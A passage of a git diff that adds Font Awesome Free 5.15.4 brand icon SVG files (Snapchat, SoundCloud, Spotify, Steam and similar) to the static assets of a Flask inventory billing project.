49.7V248c-2-1.4-4.3-2.9-6.3-4.3-15.1-10.6-25.1 4-16 17.7 18.3 22.6 53.1 50.3 106.3 72C58.3 525.1 252 555.7 248.9 457.5c0-.7.3-56.6.3-96.6 5.1 1.1 9.4 2.3 13.7 3.1 0 39.7.3 92.8.3 93.5-3.1 98.3 190.6 67.7 134.3-124 53.1-21.7 88-49.4 106.3-72 9.1-13.8-.9-28.3-16.1-17.8zm-30.5 19.2c-68.9 37.4-128.3 31.1-160.6 29.7-23.7-.9-32.6 9.1-33.7 24.9-10.3-7.7-18.6-15.5-20.3-17.1-5.1-5.4-13.7-8-27.1-7.7-31.7 1.1-89.7 7.4-157.4-28V72.3c0-34.9 8.9-45.7 40.6-45.7h317.7c30.3 0 40.9 12.9 40.9 45.7v190.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/snapchat-ghost.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/snapchat-ghost.svg new file mode 100644 index 00000000..d05f44c8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/snapchat-ghost.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M510.846 392.673c-5.211 12.157-27.239 21.089-67.36 27.318-2.064 2.786-3.775 14.686-6.507 23.956-1.625 5.566-5.623 8.869-12.128 8.869l-.297-.005c-9.395 0-19.203-4.323-38.852-4.323-26.521 0-35.662 6.043-56.254 20.588-21.832 15.438-42.771 28.764-74.027 27.399-31.646 2.334-58.025-16.908-72.871-27.404-20.714-14.643-29.828-20.582-56.241-20.582-18.864 0-30.736 4.72-38.852 4.72-8.073 0-11.213-4.922-12.422-9.04-2.703-9.189-4.404-21.263-6.523-24.13-20.679-3.209-67.31-11.344-68.498-32.15a10.627 10.627 0 0 1 8.877-11.069c69.583-11.455 100.924-82.901 102.227-85.934.074-.176.155-.344.237-.515 3.713-7.537 4.544-13.849 2.463-18.753-5.05-11.896-26.872-16.164-36.053-19.796-23.715-9.366-27.015-20.128-25.612-27.504 2.437-12.836 21.725-20.735 33.002-15.453 8.919 4.181 16.843 6.297 23.547 6.297 5.022 0 8.212-1.204 9.96-2.171-2.043-35.936-7.101-87.29 5.687-115.969C158.122 21.304 229.705 15.42 250.826 15.42c.944 0 9.141-.089 10.11-.089 52.148 0 102.254 26.78 126.723 81.643 12.777 28.65 7.749 79.792 5.695 116.009 1.582.872 4.357 1.942 8.599 2.139 6.397-.286 13.815-2.389 22.069-6.257 6.085-2.846 14.406-2.461 20.48.058l.029.01c9.476 3.385 15.439 10.215 15.589 17.87.184 9.747-8.522 18.165-25.878 25.018-2.118.835-4.694 1.655-7.434 2.525-9.797 3.106-24.6 7.805-28.616 17.271-2.079 4.904-1.256 11.211 2.46 18.748.087.168.166.342.239.515 1.301 3.03 32.615 74.46 102.23 85.934 6.427 1.058 11.163 7.877 7.725 15.859z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/snapchat-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/snapchat-square.svg new file mode 100644 index 00000000..c2bb48f4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/snapchat-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6.5 314.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C159.1 100 206.7 96 220.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/snapchat.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/snapchat.svg new file mode 100644 index 00000000..3c21a528 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/snapchat.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm169.5 338.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C183.1 100 230.7 96 244.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/soundcloud.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/soundcloud.svg new file mode 100644 index 00000000..57811826 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/soundcloud.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M111.4 256.3l5.8 65-5.8 68.3c-.3 2.5-2.2 4.4-4.4 4.4s-4.2-1.9-4.2-4.4l-5.6-68.3 5.6-65c0-2.2 1.9-4.2 4.2-4.2 2.2 0 4.1 2 4.4 4.2zm21.4-45.6c-2.8 0-4.7 2.2-5 5l-5 105.6 5 68.3c.3 2.8 2.2 5 5 5 2.5 0 4.7-2.2 4.7-5l5.8-68.3-5.8-105.6c0-2.8-2.2-5-4.7-5zm25.5-24.1c-3.1 0-5.3 2.2-5.6 5.3l-4.4 130 4.4 67.8c.3 3.1 2.5 5.3 5.6 5.3 2.8 0 5.3-2.2 5.3-5.3l5.3-67.8-5.3-130c0-3.1-2.5-5.3-5.3-5.3zM7.2 283.2c-1.4 0-2.2 1.1-2.5 2.5L0 321.3l4.7 35c.3 1.4 1.1 2.5 2.5 2.5s2.2-1.1 2.5-2.5l5.6-35-5.6-35.6c-.3-1.4-1.1-2.5-2.5-2.5zm23.6-21.9c-1.4 0-2.5 1.1-2.5 2.5l-6.4 57.5 6.4 56.1c0 1.7 1.1 2.8 2.5 2.8s2.5-1.1 2.8-2.5l7.2-56.4-7.2-57.5c-.3-1.4-1.4-2.5-2.8-2.5zm25.3-11.4c-1.7 0-3.1 1.4-3.3 3.3L47 321.3l5.8 65.8c.3 1.7 1.7 3.1 3.3 3.1 1.7 0 3.1-1.4 3.1-3.1l6.9-65.8-6.9-68.1c0-1.9-1.4-3.3-3.1-3.3zm25.3-2.2c-1.9 0-3.6 1.4-3.6 3.6l-5.8 70 5.8 67.8c0 2.2 1.7 3.6 3.6 3.6s3.6-1.4 3.9-3.6l6.4-67.8-6.4-70c-.3-2.2-2-3.6-3.9-3.6zm241.4-110.9c-1.1-.8-2.8-1.4-4.2-1.4-2.2 0-4.2.8-5.6 1.9-1.9 1.7-3.1 4.2-3.3 6.7v.8l-3.3 176.7 1.7 32.5 1.7 31.7c.3 4.7 4.2 8.6 8.9 8.6s8.6-3.9 8.6-8.6l3.9-64.2-3.9-177.5c-.4-3-2-5.8-4.5-7.2zm-26.7 15.3c-1.4-.8-2.8-1.4-4.4-1.4s-3.1.6-4.4 1.4c-2.2 1.4-3.6 3.9-3.6 6.7l-.3 1.7-2.8 160.8s0 .3 3.1 65.6v.3c0 1.7.6 3.3 1.7 4.7 1.7 1.9 3.9 3.1 6.4 3.1 2.2 0 4.2-1.1 5.6-2.5 1.7-1.4 2.5-3.3 2.5-5.6l.3-6.7 3.1-58.6-3.3-162.8c-.3-2.8-1.7-5.3-3.9-6.7zm-111.4 22.5c-3.1 0-5.8 2.8-5.8 6.1l-4.4 140.6 4.4 67.2c.3 3.3 2.8 5.8 5.8 5.8 3.3 0 5.8-2.5 6.1-5.8l5-67.2-5-140.6c-.2-3.3-2.7-6.1-6.1-6.1zm376.7 62.8c-10.8 0-21.1 2.2-30.6 6.1-6.4-70.8-65.8-126.4-138.3-126.4-17.8 0-35 3.3-50.3 9.4-6.1 2.2-7.8 4.4-7.8 9.2v249.7c0 5 3.9 8.6 8.6 9.2h218.3c43.3 0 78.6-35 78.6-78.3.1-43.6-35.2-78.9-78.5-78.9zm-296.7-60.3c-4.2 0-7.5 3.3-7.8 7.8l-3.3 136.7 3.3 65.6c.3 4.2 3.6 7.5 7.8 7.5 4.2 0 7.5-3.3 7.5-7.5l3.9-65.6-3.9-136.7c-.3-4.5-3.3-7.8-7.5-7.8zm-53.6-7.8c-3.3 0-6.4 3.1-6.4 6.7l-3.9 145.3 3.9 66.9c.3 3.6 3.1 6.4 6.4 6.4 3.6 0 6.4-2.8 6.7-6.4l4.4-66.9-4.4-145.3c-.3-3.6-3.1-6.7-6.7-6.7zm26.7 3.4c-3.9 0-6.9 3.1-6.9 6.9L227 321.3l3.9 66.4c.3 3.9 3.1 6.9 6.9 6.9s6.9-3.1 6.9-6.9l4.2-66.4-4.2-141.7c0-3.9-3-6.9-6.9-6.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sourcetree.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sourcetree.svg new file mode 100644 index 00000000..43c836a7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sourcetree.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M427.2 203c0-112.1-90.9-203-203-203C112.1-.2 21.2 90.6 21 202.6A202.86 202.86 0 0 0 161.5 396v101.7a14.3 14.3 0 0 0 14.3 14.3h96.4a14.3 14.3 0 0 0 14.3-14.3V396.1A203.18 203.18 0 0 0 427.2 203zm-271.6 0c0-90.8 137.3-90.8 137.3 0-.1 89.9-137.3 91-137.3 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/speakap.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/speakap.svg new file mode 100644 index 00000000..a3de83d3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/speakap.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M64 391.78C-15.41 303.59-8 167.42 80.64 87.64s224.8-73 304.21 15.24 72 224.36-16.64 304.14c-18.74 16.87 64 43.09 42 52.26-82.06 34.21-253.91 35-346.23-67.5zm213.31-211.6l38.5-40.86c-9.61-8.89-32-26.83-76.17-27.6-52.33-.91-95.86 28.3-96.77 80-.2 11.33.29 36.72 29.42 54.83 34.46 21.42 86.52 21.51 86 52.26-.37 21.28-26.42 25.81-38.59 25.6-3-.05-30.23-.46-47.61-24.62l-40 42.61c28.16 27 59 32.62 83.49 33.05 10.23.18 96.42.33 97.84-81 .28-15.81-2.07-39.72-28.86-56.59-34.36-21.64-85-19.45-84.43-49.75.41-23.25 31-25.37 37.53-25.26.43 0 26.62.26 39.62 17.37z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/speaker-deck.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/speaker-deck.svg new file mode 100644 index 00000000..760db22d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/speaker-deck.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M213.86 296H100a100 100 0 0 1 0-200h132.84a40 40 0 0 1 0 80H98c-26.47 0-26.45 40 0 40h113.82a100 100 0 0 1 0 200H40a40 40 0 0 1 0-80h173.86c26.48 0 26.46-40 0-40zM298 416a120.21 120.21 0 0 0 51.11-80h64.55a19.83 19.83 0 0 0 19.66-20V196a19.83 19.83 0 0 0-19.66-20H296.42a60.77 60.77 0 0 0 0-80h136.93c43.44 0 78.65 35.82 78.65 80v160c0 44.18-35.21 80-78.65 80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/spotify.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/spotify.svg new file mode 100644 index 00000000..36a0bd65 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/spotify.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm100.7 364.9c-4.2 0-6.8-1.3-10.7-3.6-62.4-37.6-135-39.2-206.7-24.5-3.9 1-9 2.6-11.9 2.6-9.7 0-15.8-7.7-15.8-15.8 0-10.3 6.1-15.2 13.6-16.8 81.9-18.1 165.6-16.5 237 26.2 6.1 3.9 9.7 7.4 9.7 16.5s-7.1 15.4-15.2 15.4zm26.9-65.6c-5.2 0-8.7-2.3-12.3-4.2-62.5-37-155.7-51.9-238.6-29.4-4.8 1.3-7.4 2.6-11.9 2.6-10.7 0-19.4-8.7-19.4-19.4s5.2-17.8 15.5-20.7c27.8-7.8 56.2-13.6 97.8-13.6 64.9 0 127.6 16.1 177 45.5 8.1 4.8 11.3 11 11.3 19.7-.1 10.8-8.5 19.5-19.4 19.5zm31-76.2c-5.2 0-8.4-1.3-12.9-3.9-71.2-42.5-198.5-52.7-280.9-29.7-3.6 1-8.1 2.6-12.9 2.6-13.2 0-23.3-10.3-23.3-23.6 0-13.6 8.4-21.3 17.4-23.9 35.2-10.3 74.6-15.2 117.5-15.2 73 0 149.5 15.2 205.4 47.8 7.8 4.5 12.9 10.7 12.9 22.6 0 13.6-11 23.3-23.2 23.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/squarespace.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/squarespace.svg new file mode 100644 index 00000000..4986165c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/squarespace.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M186.12 343.34c-9.65 9.65-9.65 25.29 0 34.94 9.65 9.65 25.29 9.65 34.94 0L378.24 221.1c19.29-19.29 50.57-19.29 69.86 0s19.29 50.57 0 69.86L293.95 445.1c19.27 19.29 50.53 19.31 69.82.04l.04-.04 119.25-119.24c38.59-38.59 38.59-101.14 0-139.72-38.59-38.59-101.15-38.59-139.72 0l-157.22 157.2zm244.53-104.8c-9.65-9.65-25.29-9.65-34.93 0l-157.2 157.18c-19.27 19.29-50.53 19.31-69.82.05l-.05-.05c-9.64-9.64-25.27-9.65-34.92-.01l-.01.01c-9.65 9.64-9.66 25.28-.02 34.93l.02.02c38.58 38.57 101.14 38.57 139.72 0l157.2-157.2c9.65-9.65 9.65-25.29.01-34.93zm-261.99 87.33l157.18-157.18c9.64-9.65 9.64-25.29 0-34.94-9.64-9.64-25.27-9.64-34.91 0L133.72 290.93c-19.28 19.29-50.56 19.3-69.85.01l-.01-.01c-19.29-19.28-19.31-50.54-.03-69.84l.03-.03L218.03 66.89c-19.28-19.29-50.55-19.3-69.85-.02l-.02.02L28.93 186.14c-38.58 38.59-38.58 101.14 0 139.72 38.6 38.59 101.13 38.59 139.73.01zm-87.33-52.4c9.64 9.64 25.27 9.64 34.91 0l157.21-157.19c19.28-19.29 50.55-19.3 69.84-.02l.02.02c9.65 9.65 25.29 9.65 34.93 0 9.65-9.65 9.65-25.29 0-34.93-38.59-38.59-101.13-38.59-139.72 0L81.33 238.54c-9.65 9.64-9.65 25.28-.01 34.93h.01z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stack-exchange.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stack-exchange.svg new file mode 100644 index 00000000..8579321a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stack-exchange.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M17.7 332.3h412.7v22c0 37.7-29.3 68-65.3 68h-19L259.3 512v-89.7H83c-36 0-65.3-30.3-65.3-68v-22zm0-23.6h412.7v-85H17.7v85zm0-109.4h412.7v-85H17.7v85zM365 0H83C47 0 17.7 30.3 17.7 67.7V90h412.7V67.7C430.3 30.3 401 0 365 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stack-overflow.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stack-overflow.svg new file mode 100644 index 00000000..331de193 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stack-overflow.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M290.7 311L95 269.7 86.8 309l195.7 41zm51-87L188.2 95.7l-25.5 30.8 153.5 128.3zm-31.2 39.7L129.2 179l-16.7 36.5L293.7 300zM262 32l-32 24 119.3 160.3 32-24zm20.5 328h-200v39.7h200zm39.7 80H42.7V320h-40v160h359.5V320h-40z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stackpath.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stackpath.svg new file mode 100644 index 00000000..8ddea949 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stackpath.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M244.6 232.4c0 8.5-4.26 20.49-21.34 20.49h-19.61v-41.47h19.61c17.13 0 21.34 12.36 21.34 20.98zM448 32v448H0V32zM151.3 287.84c0-21.24-12.12-34.54-46.72-44.85-20.57-7.41-26-10.91-26-18.63s7-14.61 20.41-14.61c14.09 0 20.79 8.45 20.79 18.35h30.7l.19-.57c.5-19.57-15.06-41.65-51.12-41.65-23.37 0-52.55 10.75-52.55 38.29 0 19.4 9.25 31.29 50.74 44.37 17.26 6.15 21.91 10.4 21.91 19.48 0 15.2-19.13 14.23-19.47 14.23-20.4 0-25.65-9.1-25.65-21.9h-30.8l-.18.56c-.68 31.32 28.38 45.22 56.63 45.22 29.98 0 51.12-13.55 51.12-38.29zm125.38-55.63c0-25.3-18.43-45.46-53.42-45.46h-51.78v138.18h32.17v-47.36h19.61c30.25 0 53.42-15.95 53.42-45.36zM297.94 325L347 186.78h-31.09L268 325zm106.52-138.22h-31.09L325.46 325h29.94z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/staylinked.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/staylinked.svg new file mode 100644 index 00000000..ad6a7639 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/staylinked.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 440 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M382.7 292.5l2.7 2.7-170-167.3c-3.5-3.5-9.7-3.7-13.8-.5L144.3 171c-4.2 3.2-4.6 8.7-1.1 12.2l68.1 64.3c3.6 3.5 9.9 3.7 14 .5l.1-.1c4.1-3.2 10.4-3 14 .5l84 81.3c3.6 3.5 3.2 9-.9 12.2l-93.2 74c-4.2 3.3-10.5 3.1-14.2-.4L63.2 268c-3.5-3.5-9.7-3.7-13.9-.5L3.5 302.4c-4.2 3.2-4.7 8.7-1.2 12.2L211 510.7s7.4 6.8 17.3-.8l198-163.9c4-3.2 4.4-8.7.7-12.2zm54.5-83.4L226.7 2.5c-1.5-1.2-8-5.5-16.3 1.1L3.6 165.7c-4.2 3.2-4.8 8.7-1.2 12.2l42.3 41.7 171.7 165.1c3.7 3.5 10.1 3.7 14.3.4l50.2-38.8-.3-.3 7.7-6c4.2-3.2 4.6-8.7.9-12.2l-57.1-54.4c-3.6-3.5-10-3.7-14.2-.5l-.1.1c-4.2 3.2-10.5 3.1-14.2-.4L109 180.8c-3.6-3.5-3.1-8.9 1.1-12.2l92.2-71.5c4.1-3.2 10.3-3 13.9.5l160.4 159c3.7 3.5 10 3.7 14.1.5l45.8-35.8c4.1-3.2 4.4-8.7.7-12.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/steam-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/steam-square.svg new file mode 100644 index 00000000..fce09ba8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/steam-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M185.2 356.5c7.7-18.5-1-39.7-19.6-47.4l-29.5-12.2c11.4-4.3 24.3-4.5 36.4.5 12.2 5.1 21.6 14.6 26.7 26.7 5 12.2 5 25.6-.1 37.7-10.5 25.1-39.4 37-64.6 26.5-11.6-4.8-20.4-13.6-25.4-24.2l28.5 11.8c18.6 7.8 39.9-.9 47.6-19.4zM400 32H48C21.5 32 0 53.5 0 80v160.7l116.6 48.1c12-8.2 26.2-12.1 40.7-11.3l55.4-80.2v-1.1c0-48.2 39.3-87.5 87.6-87.5s87.6 39.3 87.6 87.5c0 49.2-40.9 88.7-89.6 87.5l-79 56.3c1.6 38.5-29.1 68.8-65.7 68.8-31.8 0-58.5-22.7-64.5-52.7L0 319.2V432c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-99.7 222.5c-32.2 0-58.4-26.1-58.4-58.3s26.2-58.3 58.4-58.3 58.4 26.2 58.4 58.3-26.2 58.3-58.4 58.3zm.1-14.6c24.2 0 43.9-19.6 43.9-43.8 0-24.2-19.6-43.8-43.9-43.8-24.2 0-43.9 19.6-43.9 43.8 0 24.2 19.7 43.8 43.9 43.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/steam-symbol.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/steam-symbol.svg new file mode 100644 index 00000000..75256b2e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/steam-symbol.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M395.5 177.5c0 33.8-27.5 61-61 61-33.8 0-61-27.3-61-61s27.3-61 61-61c33.5 0 61 27.2 61 61zm52.5.2c0 63-51 113.8-113.7 113.8L225 371.3c-4 43-40.5 76.8-84.5 76.8-40.5 0-74.7-28.8-83-67L0 358V250.7L97.2 290c15.1-9.2 32.2-13.3 52-11.5l71-101.7c.5-62.3 51.5-112.8 114-112.8C397 64 448 115 448 177.7zM203 363c0-34.7-27.8-62.5-62.5-62.5-4.5 0-9 .5-13.5 1.5l26 10.5c25.5 10.2 38 39 27.7 64.5-10.2 25.5-39.2 38-64.7 27.5-10.2-4-20.5-8.3-30.7-12.2 10.5 19.7 31.2 33.2 55.2 33.2 34.7 0 62.5-27.8 62.5-62.5zm207.5-185.3c0-42-34.3-76.2-76.2-76.2-42.3 0-76.5 34.2-76.5 76.2 0 42.2 34.3 76.2 76.5 76.2 41.9.1 76.2-33.9 76.2-76.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/steam.svg b/FLASK PROJECTS/Inventory Billing Management System using 